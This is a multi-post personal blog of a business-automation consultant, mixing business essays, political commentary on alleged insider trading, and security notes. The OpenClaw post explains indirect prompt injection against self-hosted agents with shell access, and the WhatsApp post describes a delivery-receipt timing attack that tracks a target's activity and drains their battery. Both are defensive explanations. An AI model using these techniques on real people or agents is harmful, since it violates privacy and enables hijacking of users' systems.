Notepad

AI for Business Is Not a Chatbot

Wed, 22 Apr 2026 11:39:30 GMT

Every week, someone running a small business asks me the same thing: “Can you build me a chatbot?”

No. Or - more precisely - that is not what will actually move the needle for you.

The Real Picture Inside an Italian SMB

Walk into a furniture showroom, a car dealer, a machinery reseller. Here is the actual stack running the place:

Quotes are written by hand in Word, attached to a WhatsApp message, sometimes lost
The catalog is a 140-page PDF that the salesperson half-remembers
Lead qualification is “the secretary takes the call and writes it on a Post-it”
The CRM is a graveyard of contacts nobody follows up on
Every new order triggers a manual chain of emails, calls, and spreadsheet updates

A chatbot on top of that is lipstick on a spreadsheet. The business doesn’t have a conversation problem. It has a process problem. The conversation is just where the process leaks.

What “AI for Business” Actually Means

The interesting use cases in the SMB world right now are the unsexy ones. Quote generation. Inbound lead triage. Supplier sync. Catalog-aware answers across WhatsApp, email, and web. Automatic monthly reports that show the owner what the team actually did.

These are not demos. They don’t go viral on Twitter. They do, however, pay back in months and then sit there quietly, saving the owner twenty hours a week, forever.

The pattern is always the same:

Find where the salesperson is doing secretary work
Replace that with a system
Give the salesperson back their week
The salesperson sells more
The math works

This isn’t “AI consulting” in the McKinsey sense. It isn’t “digital transformation.” It’s process automation with an AI layer where an AI layer actually earns its keep. Which is most of the time a thin, boring layer. Retrieval over the catalog. Classification of inbound leads. Structured extraction from messy WhatsApp threads. The fireworks are optional.

Why Nobody Is Building This

Because it doesn’t look like a product. It looks like a consulting engagement that happens to leave code behind. The big system integrators won’t touch a €20k deal. The freelancers on Fiverr can’t deliver an operations diagnostic. The SaaS chatbot builders don’t know what a quote is, never mind how long it takes to write one by hand on a Tuesday afternoon.

The gap is real, and the gap is large. SMBs in the €2M-€10M bracket aren’t waiting for ChatGPT. They are waiting for someone trusted to walk in, look at how they actually work, and build the specific thing that removes the specific process tax they pay every week.

This is what I do at Kynetixx. We start with a paid audit - a proper diagnostic of where the money and the hours are leaking - and we build the modules that close the leaks. Quote generator, RAG over the catalog, WhatsApp automation wired to the commercial team, supplier sync, monthly report. One module at a time, each one earning its own payback.

Some of them have a chatbot component. That’s the thinnest layer of the cake, not the cake.

The Boring Version of the Future

The next five years of AI value inside small and medium businesses are not going to look like the demo videos. They are going to look like a sales guy who doesn’t write quotes anymore. A secretary who stopped being a glorified forwarding address. An owner who opens a dashboard at the end of the month and sees numbers that were never there before.

Unsexy. Unviral. Unignorable.

Don’t buy a chatbot. Buy back your Tuesday afternoon.

The Most Profitable Minute in History (yet)

Thu, 26 Mar 2026 18:45:52 GMT

At 6:49 AM on March 23, 2026, someone placed a trade.

Not a complicated one. Not a genius move of quantitative finance. Just a bet: oil prices are going down, stocks are going up. The kind of trade a half-decent analyst might make on any given Monday.

Except it was placed at 6:49 AM, on a Monday with no scheduled news, no Fed speakers, no economic data releases. A premarket hour so quiet it barely registers in the logs.

One minute later, someone else had already done the same. Then another.

By 6:50 AM, $580 million in oil futures had changed hands. $1.5 billion in S&P 500 futures had been bought. Simultaneously, across oil, equities, German DAX futures, Euro Stoxx - the same directional bet, placed by unknown hands, in a window so thin it barely shows up on a chart.

At 7:04 AM, President Trump posted on Truth Social that the US had been in "productive conversations" with Iran, and would pause strikes on Iranian energy infrastructure for five days.

Oil dropped 8%. Stocks surged. Whoever was long equities and short oil at 6:49 made a fortune before most Americans had their first coffee.

A trader at a major hedge fund, speaking anonymously to the Financial Times, said: "In 25 years of watching markets, this is the most abnormal thing I've ever seen."

That quote deserves a second. Twenty-five years of markets includes the dot-com crash, 9/11, 2008, COVID. And this is the most abnormal.

So let's talk about it.

The Pattern Nobody Wants to Name

The March 23rd trade isn't an isolated event. It's the latest data point in a pattern that has been building since January 2025.

Here's the log:

January 2026 - Venezuela. A trader on Polymarket, an anonymous crypto prediction platform, bets $32,000 that Nicolás Maduro will be removed from power by the end of the month. The bet is placed when the odds are roughly 7-10 cents on the dollar - meaning the market considers it unlikely. Hours later, US special forces capture Maduro. The trader walks away with $409,000.

February 28, 2026 - Iran. Thirty-eight Polymarket wallets, believed by on-chain analysts to belong to one person, open in the week prior and begin placing coordinated bets on US strikes against Iran. On February 27, between 11 AM and noon GMT, the positions are taken. At dawn on February 28, the joint US-Israel offensive begins. Total profit: over $2 million. Success rate across all bets: close to 100%.

April 9, 2025 - Tariffs. After a week of market freefall triggered by his own Liberation Day tariffs, Trump posts on Truth Social at 9:37 AM: "THIS IS A GREAT TIME TO BUY!!! DJT." Three and a half hours later, he announces a 90-day pause on tariffs for all countries except China. The Nasdaq gains 12% in a single session - the largest single-day point gain in its history. Call option volume on the S&P 500 had spiked at 9:30 AM - seven minutes before the post. Trump later says in a video, in front of several billionaires in the Oval Office, that a friend of his had made $2.5 billion from the surge.

March 2026 - Oil again. The $580M minute described above.

The Financial Times, Axios, CBS News, Paul Krugman on Substack, Al Jazeera, Bloomberg - they all covered it. The FT specifically noted that "several hedge funds have observed this is one of numerous examples of large trades being placed before official government announcements in recent months."

Not a single trade. A pattern.

What Information Asymmetry Actually Looks Like

I want to be precise here, because the word "insider trading" gets thrown around and people immediately imagine a guy in a trench coat passing an envelope.

It doesn't work like that.

Information asymmetry is structural. The President of the United States knows, before anyone else, what the US government is about to do. His envoys know. The people in the room know. Their families might know. Their colleagues might know. Their friends might know.

None of them need to explicitly "tip off" anyone. They just need to be careless. Or not particularly worried about consequences.

And here's where the architecture of the current moment matters enormously.

The Watchdogs Were Defanged First

You can't understand the trading without understanding what happened to the regulators.

The SEC's top enforcement official, Margaret Ryan, resigned in March 2026 after agency leadership blocked her from aggressively pursuing cases touching Trump's circle. She reportedly wanted to proceed against Elon Musk and Justin Sun for fraud. Paul Atkins, the SEC chair appointed by Trump, had previously co-chaired the Token Alliance - a crypto advocacy group - and entered office holding $6 million in crypto-related assets. The cases were described internally as "relics of the Gensler era" and shelved.

The Justice Department's Public Integrity Section, the unit created after Watergate specifically to prosecute corrupt officials - was reduced from 36 lawyers to two. It was stripped of authority to file new cases.

In 2025, the administration canceled 159 federal enforcement actions against 166 companies. More than 30 of those companies had donated to Trump's inauguration.

So: the pattern of suspicious trades is escalating. And simultaneously, the machinery designed to investigate suspicious trades has been systematically dismantled.

This is not a coincidence. It's architecture.

The Crypto Layer

Here is where it gets really interesting - and where I can't help but connect this to what I wrote about crypto a few months ago.

I said I was worried the space was becoming a "nicely-packaged vaporwave cabal." I didn't know the half of it.

Trump's World Liberty Financial - a DeFi platform co-founded with his sons and Steve Witkoff's son - has raised over $500 million. The family is entitled to 75% of revenues. One of its largest investors is Justin Sun, a Chinese crypto billionaire who was under active SEC investigation for fraud and market manipulation. Sun invested $75 million. The SEC paused the case. Sun attended a private dinner with Trump at his golf course, one of those reserved for the top $TRUMP memecoin holders.

The Abu Dhabi royal family's investment arm invested $2 billion in World Liberty's USD1 stablecoin. Two weeks later, the Trump administration approved the sale of hundreds of thousands of advanced AI chips to the same family's tech company, despite national security concerns.

The $TRUMP memecoin, launched three days before Trump's inauguration, went from $0.18 to $32 in 24 hours. 80% of the supply is still held by entities controlled by Trump's organization. A dinner with the President as prize for the top holders. The legal tool to funnel money - from anyone in the world, including foreign governments - directly to the sitting President, pseudonymously, via blockchain.

Anthony Scaramucci, former Trump communications director, said it best: "Now anyone in the world can essentially deposit money into the bank account of the President of the USA with a couple of clicks."

The Mechanism Is the Message

Here is what I keep coming back to.

You don't need a conspiracy to explain this. You just need aligned incentives and the removal of friction.

The President can move markets with a single post. His inner circle is aware of policy decisions before they are announced. Prediction markets allow anonymous, pseudonymous, crypto-based bets with no identity verification required. The SEC is captured. The DOJ is gutted. The CFTC - which regulates futures markets - has cut nearly all enforcement staff.

No friction. All alignment.

And Polymarket, the platform at the center of most of this, has a CEO who said in November 2024 that it was "super cool" when potential insiders use his platform to leak information to the market.

Donald Trump Jr. is a paid advisor to Kalshi, Polymarket's main competitor. He sits on both advisory boards simultaneously.

Who Bears the Cost

The question nobody is asking loudly enough is: if someone is making $1.5 billion in a minute, someone else is losing $1.5 billion in a minute.

That someone is pension funds, retail investors, anyone holding oil positions or short equities at 6:49 AM because they had no idea what was about to be posted on Truth Social.

This isn't victimless. It is a wealth transfer. From the uninformed to the informed. From the outside to the inside.

The same people who built their political careers railing against "the elites," "the rigged game," and "the swamp" have constructed what might be the most efficient wealth extraction mechanism in modern financial history - and they've done it in public.

The $580 million minute will be forgotten by next week. Another post, another market move, another anonymous wallet making eight figures before the rest of us have read the headline.

The machine processes conflict, monetizes uncertainty, and converts information asymmetry into cash.

It doesn't need to hide. It just needs you to keep watching the other thing.

Data and reporting in this piece draw from: Financial Times, Axios, CBS News, Bloomberg, Al Jazeera, CNN, Fortune, Paul Krugman (Substack), and on-chain analyses by Bubblemaps and Andrew 10 GWEI.

The $1.2 Million Fireplace: It's Just a Skill Issue

Thu, 12 Feb 2026 11:51:47 GMT

You have probably seen it. Or maybe you’ve even used it.

There is a YouTube channel called Fireplace 10 hours. It has essentially one video. It was uploaded in 2016. It is titled "Fireplace 10 hours full HD".

The content? A simple, continuous loop of a crackling fireplace. No music. No narration. Just wood burning for ten hours.

That single video has generated over 150 million views and an estimated $1.2 million in ad revenue.

Read that again. One point two million dollars. For a video of a fire.

When most people see this stat, their immediate reaction is a mix of disbelief and cope. "I could have done that," they say. "It’s just luck. The algorithm is broken."

And sure, luck plays a massive role in everything we do. I’ve written about this before in Exposing yourself to the possibility. You cannot control the outcome, you can only control your exposure to it. This creator bought a lottery ticket in 2016 by hitting "upload." Most people are still standing outside the gas station arguing about the odds.

But the real lesson here isn't about luck. It’s about the concept of execution.

The Gap Between "Could Have" and "Did"

The gap between "I could have done that" and "I have $1.2 million in my bank account" is what I like to call a skill issue.

Not in the derogatory gaming sense (well, maybe a little), but in the literal sense that execution is a skill, and most of us are terrible at it.

We overthink. We over-engineer. We wait for the perfect camera, the perfect microphone, the perfect business plan. If you had the idea for a fireplace video today, you would probably spend three weeks researching the best color grading for flames or wondering if you should film it in 4K or 8K. You’d worry about the SEO of the title. You’d hesitate.

The creator of Fireplace 10 hours just put a camera in front of a fire and hit record.

Solving the Actual Problem

This brings me back to my previous point: Start with the problem, not the solution.

Why did this video work? Because it solved a very specific, very human problem.

Problem: People feel lonely, they need background noise to study, or they want the cozy ambiance of a fireplace in an apartment that doesn't have one.

Solution: A 10-hour video of a fire.

The solution wasn't a "cinematic masterpiece about the nature of combustion." It wasn't a VR experience. It was the Minimum Viable Product (MVP) required to solve the problem of ambiance.

The creator didn't fall in love with the solution (the video production quality); they fell in love with solving the problem (giving people a fire to look at).

Execution is the Great Filter

We live in an era where ideas are extremely cheap. AI can generate a thousand (of unoriginal) business ideas for you in seconds. The cost of having an idea has dropped to zero.

The value, therefore, has shifted entirely to execution.

The "skill issue" is that we are often too smart for our own good. We try to be clever rather than effective. We look at a 10-hour video of a fire and think it's stupid, while the person who executed it is laughing all the way to the bank.

They didn't need to be a genius. They just needed to be the person who actually did it.

So, the next time you catch yourself analyzing why someone else is successful with a "simple" or "dumb" idea, stop. Don't analyze the luck. Analyze the execution.

Did they ship? Yes.
Did you? No.

Skill issue.

The Cartesian Plane of Existence: Matter, Spirit, and Battiato

Sun, 08 Feb 2026 10:26:27 GMT

There is a song by the Italian maestro Franco Battiato called Inneres Auge (Inner Eye). On the surface, it is a ferocious political satire released in 2009, attacking a corrupt Italian ruling class, politicians organizing private parties with public money, buying silence, and degrading the dignity of the state.

But as we know, Battiato never stayed on the surface. Hidden inside this invective against "ciarlatani e truffatori" (charlatans and fraudsters) is a geometric truth that I have been obsessing over lately.

In the chorus, he sings:

"La linea orizzontale ci spinge verso la materia
Quella verticale verso lo spirito"

(The horizontal line pushes us toward matter
The vertical one toward the spirit)

Most people view life as a binary choice between these two lines. You either sell your soul to the horizontal grind - chasing the KPI, the exit, the agency margins, the crypto pump - or you retreat vertically into asceticism, rejecting the material world to keep your hands clean.

I disagree. I don't want to choose. I want to plot a vector.

The Horizontal Trap

The horizontal axis (X) is undeniable. It is gravity. It is the "agency trap" I’ve written about, the world where justice is just "public merchandise" and where money reigns supreme.

If you spend all your time on the X axis, you become flat. You might accumulate wealth, but as Battiato warns, you end up surrounded by "rincoglioniti" (idiots), drowning in noise. You lose the Inneres Auge - the inner eye that allows you to see the aura of things. You become just another component in a system designed to extract value, not generate meaning.

The Vertical Escape

The vertical axis (Y) is the escape. It is what Battiato describes in the ending of the song:

"Ma quando ritorno in me, sulla mia via / A leggere e studiare, ascoltando i grandi del passato / Mi basta una sonata di Corelli, perché mi meravigli del creato"

(But when I return to myself, on my way / Reading and studying, listening to the greats of the past / A sonata by Corelli is enough to make me marvel at creation)

This is the domain of the spirit, of study, of deep work, and of silence. It is essential. But if you only exist on the vertical line, you risk disconnecting from the reality of the world. You cannot even attempt fix the system if you have completely exited it.

The Ideal Path

Here is where I stand: The ideal path is a somewhat 45ish-degree angle.

I am not interested in poverty for the sake of purity, nor am I interested in wealth for the sake of status.

I want the financial sovereignty to say "no" or "yes" to whatever I want whenever I want.
I want the resources to buy the time to see incredible places and wonder about the marvels of life, without worrying about rent.
I want the best tools to execute my work seamlessly, so the friction of the material world doesn't hinder the flow of ideas.

The goal isn't to arrest your movement on the horizontal line; it's to ensure that for every unit of material gain (X), there is a corresponding unit of spiritual or intellectual growth (Y).

Keeping the "Inneres Auge" Open

The danger, of course, is that the horizontal pull is stronger. The world is designed to keep you on the X-axis. It screams at you with notifications, FOMO, and engagement metrics.

To maintain that diagonal vector requires what Battiato calls the Inneres Auge, the inner eye. It is the ability to participate in the market without becoming a product of it. It is the ability to see the "ciarlatani" for what they are, even when they are wearing expensive suits.

I try to live with this Inneres Auge. I operate in the tech world; I build, I earn. But I know that the horizontal line is just the floor I stand on. It is not the ceiling I aim for.

Das innere Auge. Keep it open. Don't let the horizontal line become your horizon.

Don't give the intern root access (or a Mac Mini)

Sat, 31 Jan 2026 11:51:32 GMT

To understand the mess that happened this week in AI, you have to understand what OpenClaw is.

It started as the open-source answer to the proprietary "Computer Use" agents. The promise was intoxicating: a self-hosted, autonomous agent that could navigate the web, click buttons, and use a terminal just like a human. It was the dream of breaking free from the walled gardens of OpenAI or Anthropic, giving you a worker that lived on your infrastructure.

But as with every rapid technological adoption, the "cool factor" outpaced the "security factor."

This week has been a bloodbath. We are seeing hundreds of OpenClaw instances exposed openly on the internet. Credential dumps. API keys in plain text. This means third parties can do basically whatever they want with your private data.

The fundamental misunderstanding isn't about code; it's about architecture. You think you are the only input for your agent. You aren’t. An agent is an ingestion engine. Every email it reads, every webpage it visits - that is content written by someone else.

If a random person sends you a DM, that message is no longer just text. It is an input for a system that often has shell access to your machine. This is "Indirect Prompt Injection," effectively turning your inbox into a command line for strangers.

The Mac Mini Epidemic

There is a strange epidemic right now of people buying Mac Minis just to run a Python script.

You do not need an €800+ consumer machine sitting on your desk to make API calls. It’s a waste of silicon and electricity. An agent should be a headless background process, not a desktop pet.

I run my personal stack on a Raspberry Pi 5. It sits quietly, consumes as much power as a lightbulb, and does exactly what the Mac Mini does: it pushes JSON back and forth. If you don't want hardware, use a €5 VPS or the AWS free tier. But please, stop buying desktop computers for background workers.

The Architecture: Identity and Isolation

If you are going to deploy this, treat the agent like an external intern. You wouldn't give a summer intern your unlocked laptop and your primary Google credentials. You shouldn't give them to your agent, either.

Identity: The agent needs its own Google account, its own calendar, and its own set of permissions for each service it has access to. If it gets compromised, you burn the agent's identity, not yours.
Segmentation: Do not run this on your bare metal OS. Use Docker.
Network: Never expose ports to the public internet.
- Tailscale is the easiest way to access it securely.
- Cloudflare Tunnels are the professional choice if you need granular control without opening ports on your router.

Human in the Loop (HITL)

I build automated systems for companies for a living. The complexity isn't just in making the system work, it's in making it safe.

We often connect these agents to RAG (Retrieval-Augmented Generation) systems and massive knowledge bases. But no matter how good the context is, the output of an LLM is probabilistic, not deterministic.

That is why you need a Human in the Loop. You cannot blindly automate critical decisions based on a system that predicts the next token based on statistical likelihood.

There is a deeper issue here regarding the "Black Box" nature of AI and how it degrades our critical thinking skills. We trust the output because it looks confident, even when the logic path is hidden. That is a topic for another note.

For now, just lock the doors. Secure your network, segment permissions, and spend your money on the hardware wisely.

And if you are deploying this for your business, choose your AI consultant wisely. You are paying for the architecture, not the installation script.

Computing the Edge of Chaos

Sun, 04 Jan 2026 15:45:45 GMT

I’ve been thinking a lot about the border between predictability and total disorder. We usually treat these as binary states: a system is either stable, or it is broken. But nature rarely deals in binaries.

The double pendulum is the perfect mechanical metaphor for this misalignment. It is deceptively simple: just two rods and two weights governed by the rigid, deterministic laws of classical physics. There is no randomness in the equation. Yet, if you push it just hard enough, it creates behavior so complex that it becomes indistinguishable from magic.

I recently watched a breakdown of the Butterfly Effect in these systems: change the starting angle by 0.000001 degrees, and the outcome changes entirely. But I didn't just want to understand the theory; I wanted to see the architecture of it.

So, I built a tool to map it.

The Phase Space Fractal

Asked LLMs to build a WebGL simulation that renders any number of double pendulums simultaneously. The app calculates a specific metric for every single pixel in real-time: the "Time to Flip."

The visualization maps this time directly to color. In the chaotic zones, the pendulums flip almost immediately, causing the pixels to cycle through colors rapidly. In the stable zones, the so called "Islands of Stability," the pendulums never generate enough energy to invert, remaining a single, solid color.

Visually, this creates a fractal. It reveals that the boundary between order and chaos isn't a blurry line but an infinite, self-similar structure defined by precise mathematics.

It’s a reminder that complexity isn’t always random. Sometimes, it’s just a kind order that we haven't understood properly yet.

Explore the app here: https://pendulum.cosimomiccol.is

Divide et Impera

Sat, 27 Dec 2025 14:31:14 GMT

We used to think of "Divide and Rule" as a strategy for empire building. A military tactic for Caesars and Napoleons to conquer foreign lands by turning tribes against one another.

We were wrong. It wasn't a strategy for conquest. It was a strategy for maintenance.

And now, two thousand years later, it has become the operating system of our entire reality.

Look around. The world feels like it is collapsing, but it isn't exploding. It is crumbling. It is being dismantled, brick by brick, because a unified society is a bad customer and a dangerous enemy.

The Economy of Conflict

We often wonder why our institutions can't seem to solve basic problems. We assume incompetence. But it isn't incompetence. It is misalignment.

There is no money in a solved problem.

If we fixed the healthcare system, the housing crisis, or the geopolitical gridlock, the cash flow would stop. The consultants, the agencies, the 24-hour news cycles, they all starve in peacetime. Peace is low-margin. Stability is boring.

But the deeper reason isn't just profit. It is bandwidth. If the population wasn't fighting itself, it might look up. It might notice who actually owns the board.

The Figures Behind the Curtain

There is no cabal. No secret room where hooded figures decide the fate of nations.

Instead, there is a class of people whose interests naturally converge: platform owners who profit from engagement, attention merchants who sell your outrage by the impression, political consultants who get paid per cycle, and private equity funds that need chaos to buy assets cheaply. They don't coordinate. They don't even need to. They're all running the same play because it works.

The "Emperor" today isn't a person. It's a system of aligned incentives that keeps the gladiators fighting, not because the fight matters, but because the spectacle keeps the crowd from noticing the VIP box.

The Fiction of Opposition

This logic is most visible in our political parties. We treat them as armies fighting for the soul of the nation, but structurally, they operate more like competing subscription services trying to minimize churn.

Political parties are no longer vehicles for change; they are retention strategies. They don't want to defeat the "enemy" permanently, because without the enemy, they have no fundraising hook. They need the opposition to be terrifying, looming, and existential, but never quite defeated.

It is a symbiotic relationship. Red needs Blue to justify its existence, and vice versa. A 50/50 split is the perfect deadlock. It guarantees maximum friction without ever risking a resolution that might change the power structure.

This doesn't mean the disagreements aren't real. Abortion, immigration, the role of government, these are genuine divides. But the raw material is not the same as the product. The form the conflict takes, the timing of controversies, the framing, the faces chosen to represent each side, everything is curated for engagement. The anger is real. The theater is 100% manufactured.

The Camouflage of Chaos

Here is the part we ignore: the noise is the camouflage.

While we tear each other apart over cultural skirmishes and algorithmically-promoted debates, the real architecture of the world is being rewritten in silence.

Private equity firms are buying up single-family homes by the tens of thousands, converting a generation's shot at ownership into a lifetime of rent payments. The infrastructure of mass surveillance, facial recognition, location tracking, and predictive profiling is being standardized and normalized under the banner of convenience and safety. Your digital identity, your behavioral data, and your attention itself is being packaged and sold to the highest bidder.

Freedom is the ultimate wealth, and it's being transferred upward while you argue with a stranger about a headline that was A/B tested to trigger your cortisol.

They have successfully gamified our destruction. They gave us a scoreboard, told us we were winning, and looted the house while we were cheering.

The Fragmentation of the Self

The most insidious division isn't between Left and Right. It is inside you.

Every platform you use requires a different performance. LinkedIn demands professional optimism. Twitter rewards combative overconfidence. Instagram wants curated aspiration. Your group chat gets the real you, or at least, one version of it. Each algorithm trains you to become what it needs.

This isn't just context-switching. It is platform-enforced identity fragmentation. You are not choosing to be different selves; you are being shaped into them by systems that reward specific behaviors and punish others.

This is the final triumph of Divide et Impera. They didn't just split society. They split the individual.

Why? Because a cohesive person has will. A cohesive person has focus. A fragmented person has only anxiety. Anxious people are easy to govern. They don't want freedom; they want safety. They want the Emperor to step in and stop the chaos he created.

The Scale Problem

Let's be honest about what we're facing.

Collective action requires coordination, and coordination is exactly what these systems are designed to prevent. Every platform that could organize resistance is also optimized to fragment it. The tools of connection are also tools of division. You could be fully aware of everything in this essay, and it wouldn't matter, because the thousand people within reach of you are not, and never will be, close enough to coordinated action to threaten anything.

The system is designed to process conflict. It can monetize your anger, sell ads against your fear, and turn your resistance into more content to be fed in the loop.

The machine is too distributed, the incentives too entrenched, and the infrastructure too complete. There is no single point of failure because there is no single point of control.

What Winning Would Look Like

If we can't even define victory, we've already lost the frame.

Winning wouldn't be the defeat of a party or the election of a candidate. It would be structural: the decoupling of profit from division, the breakup of attention monopolies, the restoration of public spaces, digital and physical, that aren't optimized for engagement. It would mean governance that solves problems even when solutions are less profitable than maintenance.

This is not on the horizon. No major political movement is oriented toward this. The system's antibodies are too effective.

The Only Way Out

So what is left?

Not victory. But also not despair.

Cultivate awareness. See the strings. Understand the mechanics. Name what is happening without drowning in it. There is a fine line between understanding the system and letting it consume you. To see the collapse in high definition is a recipe for insanity.

Withdraw your energy from their fabricated war, not as a strategy, but as self-preservation. Focus on your health, your work, your household, your mind. These are not substitutes for political action. They are what remains when political action has been captured.

The world outside is fracturing. You do not have to.

Build what you can. Protect what matters. And do not give them your attention for free.

Why I’m Moving My Context Out of the Walled Garden

Mon, 22 Dec 2025 11:51:40 GMT

Socials are for networking. My notepad is for retrieval.
Here is the technical reason why.

We tend to think of content as "consumed" only by eyes. But in 2025, content is also consumed by algorithms, specifically the LLMs (Large Language Models) that assist our daily work.

I recently hit a wall. I wanted to use my past writings - my methodologies, my case studies, my tone of voice - to guide an AI agent in a new task. I tried pasting a link to one of my LinkedIn posts.

It failed.

The Problem with Walled Gardens

Platforms like LinkedIn, Medium, or Facebook are designed to keep you inside. Technically speaking, they are "hostile" to external parsers.

Auth-walls: The AI hits a login screen.
Obfuscated DOM: The HTML structure is a mess of div soups designed to prevent scraping.
Aggressive Rate Limiting: Even if the AI gets through, it gets flagged.

When I feed a LinkedIn URL to any LLM, it often hallucinates the content because sometimes it cannot actually read the page. My thoughts are trapped behind a gate.

The Blog as a Static API

This is where I realized the hidden value of my own notepad.
While this site started as a simple portfolio and blog, it has evolved into something more utility-driven: a clean, semantic HTML repository.

When I publish here, I am creating a stable, readable URL.

Zero Friction: No cookies, no pop-ups, no login walls.
Pure Context: When I give the notepad URL to an LLM, it parses the text instantly and accurately.
Portability: My "context" becomes portable. I can inject my specific knowledge into any workflow simply by referencing a link.

The Shift

I will still use social media to network. But my knowledge base - the core of how I work - belongs here. By keeping my data on an open protocol (the web) rather than a closed platform, I ensure that my intelligence is accessible to the tools I use to build the future.

If you are a human reading this: welcome. You are reading the source code of my professional workflow. And probably learning something cool along the way.

The Fatal Flaw of Feeling

Wed, 17 Dec 2025 09:54:25 GMT

I am a diehard for electronic music. Usually, it’s the synthesis/production that hooks me, but recently, a track by Cold Cave caught me for a different reason.

The song is titled "The Trees Grew Emotions And Died."

Beyond the darkwave appeal, that title is a masterpiece of compression. It implies a hidden mechanic of the universe that I can't stop thinking about.

Consider the tree. Biologically, many tree species are virtually immortal. They are designed to live and prosper indefinitely, held back only by external destruction like fire, disease, or human action. Left alone, a tree simply is. It exists in a state of perfect, functional stasis.

The title suggests that the moment this immortal being is introduced to the one thing that defines humanity - emotion - it collapses.

We tend to view our sentience, our ability to feel and think critically, as an evolutionary gift. It is the barrier that separates us from the flora and fauna. But Cold Cave flips the script: What if emotion isn't a gift, but a pathogen?

If an eternal being like a tree were to suddenly feel, to experience anxiety, heartbreak, or the existential weight of time, it would cease to function. It would die.

The implication is bleak but compelling: the very thing that makes us human is the same thing that ensures we cannot last. We are the dying trees, burdened by the fatal flaw of feeling.

Track link
https://open.spotify.com/track/5RuUuJ8v4NXUKEG6H23aSu?si=cc4cd26614084ba0

Megaplaylist link ;))) https://open.spotify.com/playlist/5vCaFek3G2dJPwUVY9wRfs?si=e7b1a9f2dfc64239

I Know When You Sleep (Thanks to WhatsApp)

Tue, 09 Dec 2025 13:29:09 GMT

We usually assume that if a messenger app has "End-to-End Encryption" (E2EE), we are invisible. We see the lock icon and think the content is the only thing that matters.

I recently stumbled across a paper by researchers from the University of Vienna titled "Careless Whisper." They demonstrated that while the content of your messages might be locked away, your behavior is being broadcast to anyone who knows your phone number.

The scary part? It requires no malware, no hacking, and the companies behind these apps don't seem interested in fixing it. Excellent.

The Hack: Using Silence to Map Your Life

The vulnerability relies on something unusual: Delivery Receipts.
When a message hits your phone, your device obediently tells the server, "I got it."

The researchers discovered that the time it takes for your phone to send this receipt (the latency) varies significantly depending on what your phone is doing.

Screen Off (Standby): Slow response.
Screen On (Active): Fast response.
App Open: Instant response.

By sending a stream of invisible messages to a target, an attacker can measure these timings and build a perfect graph of your daily activity. They know when you wake up, when you’re scrolling at work, and when you go to sleep.

Response time goes drastically down while the device is active.

What Can They Actually See?

It’s easy to dismiss this as "just knowing when I'm online." But data is never just data; it's context. By simply analyzing the timing of these receipts, an attacker can fingerprint an alarming amount of information:

Device Type: They can distinguish between different phone makes (iPhones, Samsungs, or Xiaomi) based on processing speeds.
Connection Status: They can tell if you are on Wi-Fi (predictable latency) or Cellular data (erratic latency).
Location Inference: By seeing exactly when you switch from home Wi-Fi to Cellular and back to work Wi-Fi, they can map your commute and daily routine.
Social Graph: If two people consistently show "App Open" status at the same time, an attacker can infer they are talking to each other.
Cross-Device Mapping: The attack is multiplied if you use desktop apps. Because encryption handles every device separately, your phone and your laptop generate independent delivery receipts. An attacker can overlay this data to see exactly when you shut your laptop and immediately switch to your phone, creating a high-fidelity timeline of your physical movements and habits.

The Invisible Resource Drain

You might think you’d notice someone spamming you to track your activity. You wouldn’t.

The exploit uses reactions (like a heart emoji or anything else) attached to messages that don’t even exist. Your phone receives the data, processes it, sends the receipt, and then silently discards it because there is no message to react to.

No notification. No vibration. You see NOTHING.

But your phone is working hard in the background. The researchers showed that a sustained attack can be devastating to your resources:

Data Usage: It can burn through ~13 GB of data per hour.
Battery Life: It can drain your battery by ~18% per hour, even while the phone is in your pocket.

If your phone suddenly gets hot and your data plan evaporates, you might not be scrolling too much. You might be getting mapped.

The "Big Tech" Implication

This is where we need to stop and think.

Remember, these researchers are outsiders. They are effectively standing on the street corner with a stopwatch, guessing what's happening inside your house by measuring how long it takes for the lights to flicker when they ring the doorbell.

If threat actors can retrieve this much granular detail simply from delivery receipt delays, imagine the amount of data Big Tech has on you.

Meta (WhatsApp) and the OS providers (Google/Apple) don't need to measure latency. They own the server, the application, the push notification system, and the operating system itself. If a clumsy timing attack can reveal your sleep schedule, device type, and location habits, the behavioral dossier sitting on Big Tech servers is likely beyond our comprehension.

"It's Not a Bug"

We often assume vulnerabilities are accidents. But look at the industry response when this was disclosed:

WhatsApp: They marked the report as a "duplicate," ignored it for nearly a year, and closed the ticket without a fix.
Signal: Did not respond to the researchers.

I’m just a simpleton when it comes to coding at these levels, but isn't the fix extremely simple? Add a random delay when sending the receipt. Or just let us turn the damn things off, the same way we do with Read Receipts.

The lack of action over the years begs the question: What if this isn't a bug, but a feature?

The lock on the door is strong (E2EE), but the walls are made of glass. Yikes. Who knows what else lies in plain sight? Three-letter agencies are sure happy about it.

Source: Careless Whisper Paper (University of Vienna / SBA Research)

Exposing yourself to the possibility

Mon, 01 Dec 2025 12:00:39 GMT

Have you ever boarded a train to Rome and ended up stepping off a plane at Heathrow?

No? That’s because there is zero chance for that to happen. It is physically, statistically, and virtually impossible. The probability isn't low. It’s non-existent.

Transposing this to your goals, we figure out that the principle is exactly the same.

If your goal is to make a business work, you cannot expect to get there by fucking around and doing nothing every day. You cannot expect an outcome that has a probability of zero.

We live in a world governed by randomness. You cannot predict the specific moment a break happens, and you certainly can’t force the stars to align.

But you can maximize your odds.

This is where the nuance lies. You don’t need to be walking a straight, illuminated line directly toward the target. You just need to be in the game.

Exposing yourself to the possibility of the things you want to happen is crucial. It doesn't mean every action must be a perfect step forward. It means every action must simply exist. Even indirect actions. Sending that email, writing that code, showing up in that room. All of that can increase the probability.

You are essentially expanding the surface area for luck to strike.

We can argue all day about "skills" and hard work, but LUCK will always be a core component of the outcome. Denying that is cowardice. We'll talk about that another day.

A single indirect action might only give you a 0.01% chance. But these things compound. Today’s random conversation becomes next year’s introduction. Yesterday’s "useless" experiment becomes tomorrow’s key insight.

You cannot manufacture a miracle. What you can do is set yourself in the condition for it to happen.

The Agency Trap: Profiting from Misalignment

Mon, 24 Nov 2025 14:29:03 GMT

Let’s be real about the scale. If you are a multinational, you need an agency for compliance and global reach. If you are a local shop, you need a freelancer.

But for the "Middle Zone" - the lean e-commerce brand, the digital service business, the $1M-$10M operation - the traditional agency model is a trap. It is a mechanism designed to deliver average results at a predictable price.

The problem isn't that agency owners are "scammers."
The problem is a structural Conflict of Interest.

The Incentive Gap (Efficiency is the Enemy)

Agencies sell Inputs (Time, Headcount, Complexity).
You want Outputs (Sales, Leads, Working Code).

These two vectors are mathematically opposed.
If an agency solves your problem in 20 minutes using automation, they cannot bill you for 20 hours of "handling." Therefore, their incentive is to maximize the volume of work, not the impact of the work.

They optimize for Retention (don't get fired).
